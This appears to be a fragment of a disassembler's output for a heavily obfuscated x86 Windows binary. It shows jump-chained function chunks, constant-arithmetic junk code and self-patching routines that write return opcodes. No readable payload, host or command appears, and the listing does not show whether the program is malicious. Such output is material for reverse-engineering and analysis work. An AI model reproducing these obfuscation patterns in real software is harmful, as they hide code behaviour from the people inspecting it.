; FUNCTION CHUNK AT 004386ED SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00439861 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AD6C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B280 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043B987 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043BB1E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043DBAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E6E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EB62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EEAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440620 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441FFD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442ABB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443417 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004439BE SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00444364 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044446A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00447086 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044868F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004494D7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C710 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044DA03 SIZE 0000000D BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	eax
		push	0CBDC094Eh
		jmp	loc_43B987
sub_449D78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449D87	proc near		; DATA XREF: sub_43B1D6+11AA5o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004370EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043764D SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0043A2AE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B852 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BAB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004415B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004415F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447529 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A09F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C82B SIZE 00000005 BYTES

		mov	esi, edi
		pop	edi
		push	1Ch
		push	50D2D12Fh
		pop	eax
		and	eax, 11163C99h
		xor	eax, 59766934h
		jns	loc_447529

loc_449DA4:				; CODE XREF: kgbikm34:00438D96j
		jmp	nullsub_220
sub_449D87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_449DA9:				; CODE XREF: sub_439BDE+F86Aj
		xchg	edx, [esp+8+var_8]
		jmp	loc_4484F3
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445022

loc_449DB1:				; CODE XREF: sub_445022+19j
		sub	ebx, 0E4B167A2h
		add	ebx, 0D4F5F526h
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_44CD8E
; END OF FUNCTION CHUNK	FOR sub_445022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3D7

loc_449DC5:				; CODE XREF: sub_44D3D7:loc_44D3EBj
		or	ecx, 95374B22h
		sub	ecx, 0BE19D639h
		add	ecx, 28DE2448h
		xchg	ecx, [esp+0]
		jmp	loc_445839
; END OF FUNCTION CHUNK	FOR sub_44D3D7
; ---------------------------------------------------------------------------
		push	7411AB3Bh
		not	edx
		jmp	sub_4466A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_449DEB:				; CODE XREF: sub_439F72:loc_437242j
		mov	esp, ebp
		pop	ebp
		push	88A81B20h
		pop	eax
		sub	eax, 5BD9DECFh
		and	eax, 0F6E5C208h
		xor	eax, 4DE9C1ADh
		add	eax, 9716AA9Bh
		jmp	loc_439E23
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443D0B

loc_449E11:				; CODE XREF: sub_443D0B+8836j
		jge	loc_440742

loc_449E17:				; CODE XREF: kgbikm34:0043F94Dj
		jmp	sub_43F6D0
; END OF FUNCTION CHUNK	FOR sub_443D0B
; ---------------------------------------------------------------------------
		adc	eax, 825A3B13h
		jmp	loc_440740
; ---------------------------------------------------------------------------

loc_449E27:				; CODE XREF: kgbikm34:00442C1Cj
		jle	loc_43C9FA
		pop	ebp
		pushf
		jmp	loc_446A95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_449E34:				; CODE XREF: sub_43C55C+315j
		mov	ds:off_41E0B0, eax
		lea	eax, sub_43C55C
		mov	byte ptr [eax],	0C3h
		jmp	sub_43C55C
; END OF FUNCTION CHUNK	FOR sub_43C55C

; =============== S U B	R O U T	I N E =======================================



sub_449E48	proc near		; CODE XREF: sub_41A54C+9Bp
					; kgbikm34:loc_438585j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00438577 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043BD66 SIZE 00000006 BYTES

		push	ebx
		push	12204EA4h
		pop	ebx
		xor	ebx, 1491456Eh
		test	ebx, 2
		jmp	loc_43BD66
sub_449E48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_449E60:				; CODE XREF: sub_43F039+16j
					; kgbikm34:0043F056j
		jnz	loc_44147F
		sub	ebx, 0BD725DDh
		jmp	loc_441681
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE64

loc_449E71:				; CODE XREF: sub_43EE64+10j
		push	offset loc_43A8F6
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_43EE64
; ---------------------------------------------------------------------------

loc_449E7B:				; CODE XREF: kgbikm34:0044911Fj
		jge	loc_43F17F
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_449E81:				; CODE XREF: sub_43DFE5+76BBj
		jmp	sub_43ACD5
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
		xchg	edi, [edx]
		jmp	loc_43F17D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449794

loc_449E8E:				; CODE XREF: sub_449794+7j
		pop	ebx
		or	ebx, 4CDF5CD3h
		rol	ebx, 7
		xor	ebx, 6BF0679Bh
		jmp	loc_444C68
; END OF FUNCTION CHUNK	FOR sub_449794

; =============== S U B	R O U T	I N E =======================================



sub_449EA3	proc near		; CODE XREF: kgbikm34:00440393j
					; kgbikm34:00447167p

; FUNCTION CHUNK AT 00448631 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	ds:dword_41E0F4, eax
		lea	eax, nullsub_313
		mov	byte ptr [eax],	0C3h
		jmp	loc_448631
sub_449EA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_449EBC:				; CODE XREF: sub_43DFE5:loc_43BFAFj
		jmp	loc_44CBFD
; END OF FUNCTION CHUNK	FOR sub_43DFE5

; =============== S U B	R O U T	I N E =======================================



sub_449EC1	proc near		; CODE XREF: kgbikm34:00448837j
					; sub_439B82+120DBp
		xchg	eax, [esp+0]
		pop	eax
		push	esi
		mov	esi, eax
		push	offset sub_442B29
		jmp	nullsub_134
sub_449EC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_449ED2	proc near		; DATA XREF: sub_446779+723Do

; FUNCTION CHUNK AT 0043C40C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004414C3 SIZE 0000000E BYTES

		add	eax, 6B5CBE00h
		call	sub_449880

loc_449EDD:				; CODE XREF: sub_43ACA5-1D8Dj
		jmp	loc_43C40C
sub_449ED2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_449EE2:				; CODE XREF: sub_43DF5B+4927j
					; kgbikm34:0044A598j
		sub	edi, 0CD4DED4Ah
		add	edi, 3AAE5A71h
		xchg	edi, [esp+4+var_4]
		jmp	sub_44661D
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_449EF6:				; CODE XREF: sub_439587:loc_43C669j
		jz	loc_442729

loc_449EFC:				; CODE XREF: kgbikm34:loc_441C70j
		jmp	loc_4497B0
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_449F01	proc near		; DATA XREF: sub_43F139+2o
		add	eax, 0A52122D3h
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_437475
		jmp	loc_44D188
sub_449F01	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449F19:				; CODE XREF: kgbikm34:0043B505j
					; kgbikm34:loc_44BC8Bj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43D406
		jmp	loc_448080
; ---------------------------------------------------------------------------

loc_449F2A:				; CODE XREF: kgbikm34:loc_449B1Dj
		push	ebx
		push	0A80E1A8Eh
		pop	ebx
		or	ebx, 3C610A0Ch
		sub	ebx, 0A681DF64h
		jmp	loc_44DB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_449F42:				; CODE XREF: sub_439BDE:loc_447D31j
		pop	eax
		xor	eax, 6D9934Ch
		or	eax, 0D3C9A9FAh
		rol	eax, 1Ah
		or	eax, 82624206h
		add	eax, 78BDAC13h
		call	sub_43BF6F
		jmp	sub_445382
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4379E6

loc_449F68:				; CODE XREF: sub_4379E6:loc_440A52j
		pop	esi
		lea	eax, sub_4407A7
		mov	byte ptr [eax],	0C3h
		jmp	sub_4407A7
; END OF FUNCTION CHUNK	FOR sub_4379E6

; =============== S U B	R O U T	I N E =======================================



sub_449F77	proc near		; CODE XREF: sub_40140A+96p
					; sub_40158F+81p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004372A5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004374C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004386BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439342 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004399BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439BF9 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043C9AA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043D42A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D458 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DC2A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043DC68 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043DE8F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043F0F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F10C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043F8AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004408D2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00440BEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004411A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044166B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442264 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00442323 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004426F0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044358F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004444E2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004455E3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00447298 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004473D5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00447C19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A91 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044995A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449A2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A14F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A232 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A6FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044ADB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B2F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044B727 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BCFE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044CCCA SIZE 00000005 BYTES

		jb	loc_44BD07
		mov	eax, ds:dword_437A40
		or	eax, eax
		jnz	loc_43F8AA
		jmp	loc_4386BC
sub_449F77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_449F90:				; CODE XREF: sub_44964D-B93Ej
		sub	ebx, 1FD449Ah
		and	edx, 94DA1705h

loc_449F9C:				; CODE XREF: sub_44964D:loc_4420BDj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D6A7
		jmp	loc_440029
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------

loc_449FAD:				; DATA XREF: kgbikm34:0043E52Bo
		push	esi
		push	2BE81FA5h
		pop	esi
		or	esi, 3680CD73h
		and	esi, 0F7692B70h
		jmp	loc_44454C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B63D

loc_449FC5:				; CODE XREF: sub_43B63D:loc_44193Dj
		pop	ebx
		push	eax
		pushf
		call	sub_4499F3

loc_449FCD:				; CODE XREF: sub_44B20C-6C63j
		jmp	loc_445F31
; END OF FUNCTION CHUNK	FOR sub_43B63D
; ---------------------------------------------------------------------------
		xchg	esi, [edi]
		jmp	sub_43D686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AFAE

loc_449FD9:				; CODE XREF: sub_44AFAE-6F25j
		add	ebx, 5370F68Ch
		xchg	ebx, [esp+4+var_4]
		jmp	sub_44B269
; END OF FUNCTION CHUNK	FOR sub_44AFAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_449FE7:				; CODE XREF: sub_43EA97+7A52j
		xchg	esi, [ecx]
		sbb	edi, ebx
		jmp	sub_43C021
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B90

loc_449FF0:				; CODE XREF: sub_439B90:loc_44680Cj
		or	edx, 0C49D8C4Eh
		and	edx, 92A814C4h
		push	offset loc_44D506
		jmp	sub_44DD79
; END OF FUNCTION CHUNK	FOR sub_439B90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E250

loc_44A006:				; CODE XREF: sub_44E250:loc_43998Bj
		and	ebx, 684EBBF1h
		jmp	loc_447F2C
; END OF FUNCTION CHUNK	FOR sub_44E250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_44A011:				; CODE XREF: sub_43F4C9+BC45j
		jz	loc_44E195
		jmp	loc_449455
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383A3

loc_44A01C:				; CODE XREF: sub_4383A3+9210j
		jge	loc_44C1FA
; END OF FUNCTION CHUNK	FOR sub_4383A3
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_44A022:				; CODE XREF: sub_44DE4C-F112j
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_44A027:				; CODE XREF: sub_439924-2BEj
		jmp	loc_43D601
; END OF FUNCTION CHUNK	FOR sub_439924
; ---------------------------------------------------------------------------
		or	edi, 0A71A1032h
		jmp	loc_43B4F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD1A

loc_44A037:				; CODE XREF: sub_43FD1A-4481j
		adc	eax, 95D55598h
		and	ebx, eax
		xchg	ebx, ebp

loc_44A041:				; CODE XREF: sub_43FD1A:loc_44E157j
		push	ecx
		jmp	loc_43B745
; END OF FUNCTION CHUNK	FOR sub_43FD1A
; ---------------------------------------------------------------------------
		mov	eax, 524E554Eh
		call	sub_43BF6F
		mov	ds:dword_41E054, eax
		lea	eax, nullsub_352
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_352

; =============== S U B	R O U T	I N E =======================================



sub_44A065	proc near		; CODE XREF: sub_4024ED+8Bp
					; sub_44A065+5j
					; DATA XREF: ...
		call	sub_44AD10
		jmp	ds:off_41E058
sub_44A065	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_44A070:				; CODE XREF: sub_43F039+2458j
		jmp	loc_43BFC4
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------

loc_44A075:				; CODE XREF: kgbikm34:0043CB0Aj
		jmp	nullsub_344
; ---------------------------------------------------------------------------

loc_44A07A:				; DATA XREF: sub_439587+91A7o
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		sub	eax, 76B5129Fh
		add	eax, 1F381AC6h
		and	eax, 0E897DDCFh
		add	eax, 0D0CC8305h
		add	eax, ebp
		jmp	loc_4409F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_44A09F:				; CODE XREF: sub_449D87:loc_43FC89j
		jnz	loc_43A2AE
		jmp	loc_4415B8
; END OF FUNCTION CHUNK	FOR sub_449D87
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A0AB:				; CODE XREF: kgbikm34:0044B004j
		jmp	loc_43B66A
; ---------------------------------------------------------------------------

loc_44A0B0:				; CODE XREF: kgbikm34:0043862Dj
		jmp	loc_4409ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44A0B5:				; CODE XREF: sub_43E4C0:loc_439550j
		jnz	loc_449781

loc_44A0BB:				; CODE XREF: sub_440E0B+6914j
		jmp	loc_44991F
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------

loc_44A0C0:				; CODE XREF: kgbikm34:0043DB9Dj
		jmp	loc_43FC9E
; ---------------------------------------------------------------------------

loc_44A0C5:				; CODE XREF: kgbikm34:00439C93j
		jmp	loc_443905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44A0CA:				; CODE XREF: sub_439587-9ADj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		rol	ecx, 1Ch
		jmp	loc_44977F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_44A0D7:				; CODE XREF: sub_43D114:loc_439BA8j
		jge	loc_4371ED

loc_44A0DD:				; CODE XREF: sub_4396AA+1C95j
		jmp	sub_43A4A3
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebp, 387047C9h
		jmp	loc_4371ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_44A0EE:				; CODE XREF: sub_4391E0:loc_446B1Ej
		add	edi, 0CBEB00CFh
		and	edi, 0D05D8AFDh
		add	edi, 0BFF0E1F0h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_4391E0
		mov	byte ptr [eax],	0C3h
		jmp	loc_445C0E
; END OF FUNCTION CHUNK	FOR sub_4391E0

; =============== S U B	R O U T	I N E =======================================



sub_44A111	proc near		; CODE XREF: sub_40301F+Dj
					; kgbikm34:00448F01j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044AD56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C052 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044C8A5 SIZE 0000000E BYTES

		push	ebx
		jmp	loc_44C052
sub_44A111	endp

; ---------------------------------------------------------------------------

loc_44A117:				; CODE XREF: kgbikm34:0044C084j
		jnb	loc_43FF73
		add	ebx, 0C04024A7h
		jmp	sub_4467D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_44A128:				; CODE XREF: sub_438B6B+F90Aj
		pop	ebx
		call	sub_44A332

loc_44A12E:				; CODE XREF: kgbikm34:0044BD1Bj
		jmp	sub_43D4E9
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

loc_44A133:				; CODE XREF: kgbikm34:0044039Ej
		jz	loc_44286A
		mov	ecx, 43A61BEFh
		jmp	sub_43C207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A5E

loc_44A143:				; CODE XREF: sub_445A5E+494Fj
		sub	al, 99h
		push	offset loc_446269
		jmp	loc_43FB89
; END OF FUNCTION CHUNK	FOR sub_445A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44A14F:				; CODE XREF: sub_449F77:loc_4374C2j
		jnz	loc_43DC68

loc_44A155:				; CODE XREF: kgbikm34:00442307j
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_44A15A:				; CODE XREF: kgbikm34:004402CFj
		jmp	locret_440893
; ---------------------------------------------------------------------------
		jz	loc_446F03
		jnz	loc_449495
		mov	ebp, [esi]
		jmp	loc_43DC64
; ---------------------------------------------------------------------------
		shr	edx, 0Bh
		jmp	sub_439624
; ---------------------------------------------------------------------------
		and	edi, 85922EA5h
		jge	loc_446C31
		jmp	sub_4438E2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_351. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44A18C:				; CODE XREF: sub_443681+7203j
		jmp	loc_44D2D0
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------

loc_44A191:				; CODE XREF: kgbikm34:0044921Dj
		jmp	loc_43724F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 27h
dword_44A198	dd 5EE4ABD9h		; DATA XREF: sub_43EAEE-3111w
					; sub_440380:loc_443247r

; =============== S U B	R O U T	I N E =======================================



sub_44A19C	proc near		; CODE XREF: sub_40DAE3+9p
					; sub_415345+35p
					; DATA XREF: ...
		push	offset loc_44D060
		jmp	nullsub_136
sub_44A19C	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A1A6	proc near		; DATA XREF: sub_445660o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438DDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004392DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439AF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043AAA1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043ACDD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B0EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BC15 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DA34 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043EBA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445BB1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00445F5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447158 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004484FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004495B5 SIZE 0000000B BYTES

		push	esi
		push	91DC4810h
		pop	esi
		xor	esi, 70179A66h
		add	esi, 0FB4EB166h
		or	esi, 47D98C3Ch
		test	esi, 8
		jmp	loc_439AF8
sub_44A1A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A1CA:				; CODE XREF: kgbikm34:loc_44695Fj
		rol	eax, 0Ah
		or	eax, 51ED64E8h
		add	eax, 2045AAC3h
		call	sub_44A2AC
		jmp	loc_443F6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44A1E3:				; CODE XREF: sub_449D59-78j
		ja	loc_43A5B1

loc_44A1E9:				; CODE XREF: sub_449D59:loc_4407BAj
		mov	eax, 0A2CD59D9h
		push	ebx
		push	9ABCB572h
		jmp	loc_443B25
; END OF FUNCTION CHUNK	FOR sub_449D59

; =============== S U B	R O U T	I N E =======================================



sub_44A1F9	proc near		; CODE XREF: kgbikm34:0043E4F1j
					; kgbikm34:loc_4485A2p

; FUNCTION CHUNK AT 0043D315 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440BE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C72 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044620F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446626 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044959B SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4495A6
		jmp	loc_440BE6
sub_44A1F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	esi, ecx
		jnp	loc_44C5DB
		jmp	sub_43D298
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_44A21B:				; CODE XREF: sub_443AFD-742Ej
		push	edx
		pop	esi
		xchg	esi, [esp+4+var_4]
		push	edx
		push	5630045Bh
		pop	edx
		and	edx, 0F4AD5D7Ch
		jmp	loc_44B7F7
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44A232:				; CODE XREF: sub_449F77:loc_447C19j
		jge	loc_442270
		rol	ebx, 11h
		cmp	esi, 79270DD2h
		jmp	loc_43DC2A
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_44A246:				; CODE XREF: sub_43DF5B-324Bj
		add	edx, ebp
		push	eax
		push	98D50F3Bh
		pop	eax
		jmp	loc_438514
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_44A254:				; CODE XREF: sub_4394EB-F4Bj
		or	eax, 5AA5B1D6h
		test	eax, 8000000h
		jmp	loc_449C32
; END OF FUNCTION CHUNK	FOR sub_4394EB

; =============== S U B	R O U T	I N E =======================================



sub_44A265	proc near		; CODE XREF: kgbikm34:0043BAF3j
					; kgbikm34:0044E09Ep
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	2EB0C139h
		jmp	loc_43F114
sub_44A265	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492B9

loc_44A274:				; CODE XREF: sub_4492B9:loc_44D769j
		sub	eax, 83D06AA4h
		add	eax, 18DFF550h
		xchg	eax, [esp+4+var_4]
		jmp	loc_4407B5
; END OF FUNCTION CHUNK	FOR sub_4492B9
; ---------------------------------------------------------------------------

loc_44A288:				; CODE XREF: kgbikm34:0044336Cj
		jz	loc_43D5AD
		shr	ebx, 12h
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_44A291:				; CODE XREF: sub_4418C2:loc_44335Ej
		sub	ecx, 0BFB20EDDh
		add	ecx, 2E272F51h

loc_44A29D:				; CODE XREF: sub_449D87-1271Bj
		jmp	loc_437A93
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44A2A2:				; CODE XREF: sub_44B20C-A433j
		jmp	loc_4480EC
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
		jmp	loc_43E731

; =============== S U B	R O U T	I N E =======================================



sub_44A2AC	proc near		; CODE XREF: sub_445CCB:loc_43FB11j
					; sub_44A2AC-9844j ...

; FUNCTION CHUNK AT 00440A57 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004414F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004471B6 SIZE 00000016 BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_137

loc_44A2BC:				; CODE XREF: sub_44A2AC-984Aj
					; sub_44A2AC-30EBj
		jnz	loc_440A6D
		push	eax
		jmp	loc_440A57
sub_44A2AC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44A2C8:				; CODE XREF: sub_43741E+E04Cj
		jbe	loc_4427C5
		jge	loc_44524B
		jmp	loc_4424B6
; ---------------------------------------------------------------------------

